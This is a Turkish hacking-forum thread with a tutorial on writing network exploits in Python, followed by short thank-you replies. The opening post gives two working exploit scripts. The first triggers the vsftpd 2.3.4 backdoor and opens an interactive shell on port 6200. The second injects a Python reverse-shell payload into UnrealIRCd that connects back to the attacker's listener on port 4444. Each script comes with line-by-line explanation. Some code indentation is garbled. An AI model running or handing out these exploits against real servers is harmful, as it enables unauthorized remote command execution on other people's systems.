Python ile Exploit

Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...
Ya istiklâl ya ölüm
Seçkin Üye
Katılım
7 May 2019
Mesajlar
308
Çözümler
2
Tepki puanı
25
Ödüller
7
7 HİZMET YILI
Python ile internet tabanlı exploit nasıl yazılır kısa bir bilgi vermek isterim.
Bunun içinde en sık örnek gösterilen 3 farklı yönden göstermeye çalışacağım.


İnternet tabanlı bir exploit yazmak istiyorsak en başta network programlamayı bilmemiz gerekmekte.
Python ile network programlamada socket modülü kullanılmaktadır.
Socket üzerindeki belli parametreler.


Kod:
socket.AF_INET   : Yapılacak bağlantıyı IPv4 üzerinden yapmayı sağlar.
socket.AF_INET6  : Yapılacak bağlantıyı IPv6 üzerinden yapmayı sağlar.
socket.SOCK_STREAM  : Yapılacak bağlantıda TCP protokolünün kullanılmasını sağlar.
socket.SOCK_DGRAM  : Yapılacak bağlantıda UDP protokolünün kullanılmasını sağlar.

socket.connect((h,p))  : Belirtilen IP adresine bağlanır.(Kullanıcı)
socket.bind((h,p))  : Belirtilen IP ile portu dinlemeye alır.(Sunucu)
socket.listen()  : Dinlemeye alınan adrese bağlanacak sayıyı kararlar.
socket.accept()  : Bağlantı kurmak isteyen kişileri kabul eder.
socket.send()  : Bağlantı kurulan kişiye veri yollanır.
socket.recv()  : Bağlantıdan gelecek olan cevabı alır.

Bu parametreler ile temel bir bağlantı kurulup iletişime geçilebilir.
Zaten yazacağımız exploitlerde çok temel düzeyde olacağı için bu parametreler yeterli olacaktır.

Vsftpd 2.3.4

Vsftpd
seçilmesinin temel iki nedeni var:
1- En fazla örnek exploiting işleminin kendi üzerinde geçmesinden dolayı.
2- Yapılacak olan bağlantıda herhangi bir handler bulunmaması.

Kod:
 from socket import *
 import sys

 aux = socket(AF_INET,SOCK_STREAM)
 host = sys.argv[1]
 port = int(sys.argv[2])

 aux.connect((host,port))
 head = aux.recv(1024).strip()
 if "(vsFTPd 2.3.4)" in head:
     aux.send("USER something:)\n")
     aux.recv(1024)
     aux.send("PASS againsomething\n")
     aux.close()
     print "My man! This port has got a vull.\n"
17| else:
     print "Sorry dude:( This is a normal port\n"
     exit()


 exp = socket(AF_INET,SOCK_STREAM)

 exp.connect((host,6200))
 while True:
     com = raw_input("#")    
     if com == "exit":
        exp.close()
         exit()
     exp.send(com + "\n")
    print exp.recv(1024)

Scriptin ilk 2 kısmında çalıştırılması için hazırlanan socket ve sys modülleri çağırılmış.
4. satırda yapılacak bağlantının TCP ve IPv4 üzerinde olacağı ve scripti kısa tutmak içinde aux olarak bir değişken vermiş.
5. ve 6. kısımda ise kulanıcıdan istenilen host ve port parametrelerini alacağı şekil kararlanmış.
9. satırda belirtilen IP adresi ile porta bağlanılmış. Artık tüm aux değişkenine sahip parametreler bu bağlantı üzerinden işlemlerini yapacak.
10., 11. ve 17. kısımda ise bağlanılan portun kontrolü yapılmakta.
12. satırda gönderilen veri ile kaçış parametresinide yollayıp exploiting işleminin ilk adımı yapıldı.
13. satırda gelicek olan paketi alarak işleme devam ediliyor.
14. ve 15. satırda son dokunuşu yapıp bağlantıdan çıkılıyor.
22. satırda yeni değişken ile koda bakıldığında daha anlaşılır bir görüntü olması adına 4. satırdaki gibi değişken veriliyor.
25. satırda bağlantının gerçekleşmesi durumunda kendi içerisinden çıkış yapılmadığı sürece devam edecek bir while döngüsü açılıyor.
26. satırda hackerdan gönderilmek istenilen veri isteniyor.
28. satırda rahatlık açısından hızlı bir çıkış işlemi anlatılıyor.
32. satırda girilen veri karşı tarafa yollanılıyor.
33. satırda gönderilen veriye karşılık olaraktan cevap geliyor ve yeniden 26. satıra geçiş yapılıyor.

İşte bu şekil görünüyor.

1.png


Ağda olan bitenler ise Şunlardır.

2.png


Unreal IRC


Kod:
from socket import *
import sys

thost, tport = sys.argv[1], int(sys.argv[2])
lhost = '"'+ sys.argv[3] +'"'


fir = socket(AF_INET,SOCK_STREAM)

fir.connect((thost,tport))
payload = """AB;python -c 'import socket,subprocess,os;pay=socket.socket(socket.AF_INET,socket.SOCK_STREAM);pay.connect((""" + lhost + """,4444));os.dup2(pay.fileno(),0); os.dup2(pay.fileno(),1); os.dup2(pay.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
fir.send(payload)
fir.recv(1024)


han = socket(AF_INET,SOCK_STREAM)

han.bind(("",4444))
han.listen(1)
fir.close()
cl = han.accept()
print cl.recv(1024)
while True:
    sh = cl.recv(1024)
    send = raw_input(sh)
    if send == "exit":
        han.close()
         exit()
   cl.send(send + "\n")
     data = cl.recv(1024)
     print data

Başkısımlarda önceki exploitteki işlemlerin aynısı yapılmış.
11. satırda bağlantı kurulduktan sonra gönderilecek olan payload modülü tanımlanmış. Modül python ile yazılmış olup amacı hackerın 4444 nolu portuna sh(ell) ile bağlanmak. Bunun içinde ilk kısmında AB; kaçış parametresi görünmekte.
12. satırda payload gönderiliyor.
13. satırda sunucunun kalbini kırmamak için cevap paketi alınıyor ancak hackera sunulmuyor.
18. satırda sunucu tarafından gelecek olan shell bağlantısını yakalayabilmek için bir dinleme portu açılıyor.
19. satırda bağlanacak kullanıcı sayısının 1 cihaz olması isteniyor.
20. satırda önceki payload gönderilen bağlantının bitirilmesi isteniyor.
21. satırda gelecek olan kullanıcının cl adlı değişkene atanması kararlanıyor.
23. satırda bağlantı olması halinde çalışan while döngüsü bulunmakta.
Geri kalan kısım önceki exploit ile aynı işlemi yapmakta.

İşte Görünümü Bu şekilde.
3.png


Wireshark ne görüyor .

4.png



Mutlaka hatam vardır, pythonda uzman biri değilim.

İyi forumlar dilerim...
 
Banlı Üye
Katılım
2 May 2018
Mesajlar
863
Çözümler
3
Tepki puanı
138
Ödüller
5
8 HİZMET YILI
Python dili bana çok zor geliyor ya sen iyi başarıyorsun bu işi :D
 
Onaylı Üye
Katılım
11 Haz 2019
Mesajlar
101
Tepki puanı
6
Ödüller
5
Yaş
41
6 HİZMET YILI
Python dili çok kolay değil ancak öğrenmeliyim. Bilginiz için teşekkürler
 
Onaylı Üye
Katılım
29 Şub 2020
Mesajlar
59
Tepki puanı
1
Ödüller
3
Yaş
25
6 HİZMET YILI
pythonda bilmediğim çok şey varmış :eek:
 
Seçkin Üye
Katılım
18 Şub 2020
Mesajlar
407
Çözümler
1
Tepki puanı
19
Ödüller
6
Yaş
27
6 HİZMET YILI
Is that working with visual studio??
 
Onaylı Üye
Katılım
28 Şub 2019
Mesajlar
58
Çözümler
2
Tepki puanı
4
Ödüller
3
Yaş
24
7 HİZMET YILI
python öğrenmek lazım
 
who knows when you will be gone
Seçkin Üye
Katılım
31 Mar 2018
Mesajlar
334
Tepki puanı
105
Ödüller
9
Yaş
25
8 HİZMET YILI
Python dili çok kolay değil ancak öğrenmeliyim. Bilginiz için teşekkürler
 
Seçkin Üye
Katılım
6 Eki 2018
Mesajlar
306
Çözümler
1
Tepki puanı
76
Ödüller
7
7 HİZMET YILI
bilgi için teşekkürler yararlı konu olmuş
 
Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...
Üst